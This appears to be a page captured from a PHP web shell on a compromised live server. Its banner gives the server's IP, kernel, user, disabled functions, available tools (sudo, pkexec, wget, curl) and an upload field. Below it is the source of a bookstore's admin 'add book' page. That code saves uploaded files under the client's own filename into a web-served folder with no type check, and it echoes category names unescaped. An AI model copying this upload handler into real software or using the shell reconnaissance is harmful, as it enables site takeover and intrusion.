| Server IP : 3.111.61.48 / Your IP : 216.73.216.67 Web Server : Apache System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64 User : ubuntu ( 1000) PHP Version : 8.2.31 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/vhost/book.gyaniguru.org/admin/ |
Upload File : |
<?php
include 'includes/header.php';
$categories = get_all("SELECT * FROM categories");
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['add_book'])) {
$title = $_POST['title'];
$title_bengali = $_POST['title_bengali'];
$author = $_POST['author'];
$category_id = $_POST['category_id'];
$price = $_POST['price'];
$original_price = $_POST['original_price'];
$pages = $_POST['pages'];
$language = $_POST['language'];
$isbn = $_POST['isbn'];
$binding = $_POST['binding'];
$description = $_POST['description'];
$long_description = $_POST['long_description'];
$is_featured = isset($_POST['is_featured']) ? 1 : 0;
$is_new = isset($_POST['is_new']) ? 1 : 0;
$is_upcoming = isset($_POST['is_upcoming']) ? 1 : 0;
$release_date = !empty($_POST['release_date']) ? $_POST['release_date'] : null;
$badge = $_POST['badge'];
// Handle Main Image Upload
$image = "images/placeholder.png";
if (isset($_FILES['image']) && $_FILES['image']['error'] == 0) {
$target_dir = "../images/";
$filename = time() . "_" . basename($_FILES["image"]["name"]);
$target_file = $target_dir . $filename;
if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
$image = "images/" . $filename;
}
}
// Handle Additional Images Upload
$additional_images = [];
if (isset($_FILES['additional_images']) && $_FILES['additional_images']['error'][0] == 0) {
$target_dir = "../images/";
$count = count($_FILES['additional_images']['name']);
for ($i = 0; $i < $count; $i++) {
if ($_FILES['additional_images']['error'][$i] == 0) {
$filename = time() . "_" . $i . "_" . basename($_FILES["additional_images"]["name"][$i]);
$target_file = $target_dir . $filename;
if (move_uploaded_file($_FILES["additional_images"]["tmp_name"][$i], $target_file)) {
$additional_images[] = "images/" . $filename;
}
}
}
}
$sql = "INSERT INTO books (title, title_bengali, author, category_id, price, original_price, image, pages, language, binding, isbn, description, long_description, is_featured, is_new, is_upcoming, release_date, badge)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
$stmt = $conn->prepare($sql);
$stmt->bind_param("sssiddsisssssiiiss", $title, $title_bengali, $author, $category_id, $price, $original_price, $image, $pages, $language, $binding, $isbn, $description, $long_description, $is_featured, $is_new, $is_upcoming, $release_date, $badge);
if ($stmt->execute()) {
$book_id = $stmt->insert_id;
// Save additional images to database
if (!empty($additional_images)) {
foreach ($additional_images as $index => $image_url) {
$sort_order = $index;
$img_stmt = $conn->prepare("INSERT INTO book_images (book_id, image_url, sort_order) VALUES (?, ?, ?)");
$img_stmt->bind_param("iss", $book_id, $image_url, $sort_order);
$img_stmt->execute();
}
}
echo "<script>window.location.href='books.php?msg=Book added successfully';</script>";
} else {
$error = "Error: " . $conn->error;
}
}
?>
<div class="admin-card">
<div class="d-flex align-items-center gap-3 mb-4">
<a href="books.php" class="btn-action bg-secondary bg-opacity-20 text-secondary"><i class="bi bi-chevron-left"></i></a>
<h5 class="m-0">Add New Book</h5>
</div>
<form action="" method="POST" enctype="multipart/form-data">
<div class="row g-4">
<div class="col-md-8">
<div class="row g-3">
<div class="col-md-6">
<label class="form-label">Book Title (English)</label>
<input type="text" name="title" class="form-control" required placeholder="e.g., Jyotish Rahasya">
</div>
<div class="col-md-6">
<label class="form-label">Book Title (Bengali/Other)</label>
<input type="text" name="title_bengali" class="form-control" placeholder="e.g., জ্যোতিষ রহস্য">
</div>
<div class="col-md-6">
<label class="form-label">Author Name</label>
<input type="text" name="author" class="form-control" value="Pt. Shivaram Sharma" required>
</div>
<div class="col-md-3">
<label class="form-label">Category</label>
<select name="category_id" class="form-control" required>
<option value="">Select Category</option>
<?php foreach($categories as $cat): ?>
<option value="<?php echo $cat['id']; ?>"><?php echo $cat['name']; ?></option>
<?php endforeach; ?>
</select>
</div>
<div class="col-md-3">
<label class="form-label">Badge (Optional)</label>
<input type="text" name="badge" class="form-control" placeholder="e.g., Bestseller">
</div>
<div class="col-md-3">
<label class="form-label">Price (Sale)</label>
<input type="number" name="price" class="form-control" required step="0.01">
</div>
<div class="col-md-3">
<label class="form-label">Original Price</label>
<input type="number" name="original_price" class="form-control" required step="0.01">
</div>
<div class="col-md-3">
<label class="form-label">Pages</label>
<input type="number" name="pages" class="form-control">
</div>
<div class="col-md-3">
<label class="form-label">Language</label>
<input type="text" name="language" class="form-control" placeholder="e.g., Bengali">
</div>
<div class="col-md-3">
<label class="form-label">Binding</label>
<select name="binding" class="form-control">
<option value="Paperback">Paperback</option>
<option value="Hardcover">Hardcover</option>
<option value="Spiral">Spiral</option>
</select>
</div>
<div class="col-12">
<label class="form-label">Short Description</label>
<textarea name="description" class="form-control" rows="2" placeholder="Brief summary for shop page..."></textarea>
</div>
<div class="col-12">
<label class="form-label">Full Description</label>
<textarea name="long_description" class="form-control" rows="6" placeholder="Detailed content..."></textarea>
</div>
</div>
</div>
<div class="col-md-4">
<div class="mb-4">
<label class="form-label">Book Cover Image</label>
<div class="p-3 border border-secondary border-dashed rounded text-center" style="border-style: dashed !important;">
<i class="bi bi-cloud-arrow-up display-4 text-muted mb-2 d-block"></i>
<input type="file" name="image" class="form-control form-control-sm border-0" style="background:transparent" accept="image/*">
<small class="text-muted">Recommended: 400x600px</small>
</div>
</div>
<div class="mb-4">
<label class="form-label">ISBN Number</label>
<input type="text" name="isbn" class="form-control" placeholder="978-81-XXXX-XXX">
</div>
<div class="mb-4">
<label class="form-label">Additional Images (Optional)</label>
<div class="p-3 border border-secondary border-dashed rounded text-center" style="border-style: dashed !important;">
<i class="bi bi-images display-4 text-muted mb-2 d-block"></i>
<input type="file" name="additional_images[]" class="form-control form-control-sm border-0" style="background:transparent" accept="image/*" multiple>
<small class="text-muted">Recommended: 400x600px (You can select multiple images)</small>
</div>
</div>
<div class="mb-4 p-3 rounded" style="background: var(--cream); border: 1px solid var(--cream-dark);">
<h6 class="mb-3" style="color: var(--maroon);">Book Attributes</h6>
<div class="form-check form-switch mb-2">
<input class="form-check-input" type="checkbox" name="is_featured" id="flexSwitchCheck1">
<label class="form-check-label" for="flexSwitchCheck1">Show in Bestsellers (Home)</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input" type="checkbox" name="is_new" id="flexSwitchCheck2">
<label class="form-check-label" for="flexSwitchCheck2">Mark as New Arrival</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input" type="checkbox" name="is_upcoming" id="flexSwitchCheck3" onchange="document.getElementById('releaseDateGroup').style.display=this.checked?'block':'none'">
<label class="form-check-label" for="flexSwitchCheck3">Mark as Upcoming</label>
</div>
<div id="releaseDateGroup" style="display:none">
<label class="form-label" style="font-size:0.85rem">Expected Release Date</label>
<input type="date" name="release_date" class="form-control form-control-sm">
</div>
</div>
<hr style="border-color: rgba(255,255,255,0.1)">
<button type="submit" name="add_book" class="btn btn-gold w-100 py-3">
<i class="bi bi-save me-2"></i> SAVE NEW BOOK
</button>
</div>
</div>
</form>
</div>
<?php include 'includes/footer.php'; ?>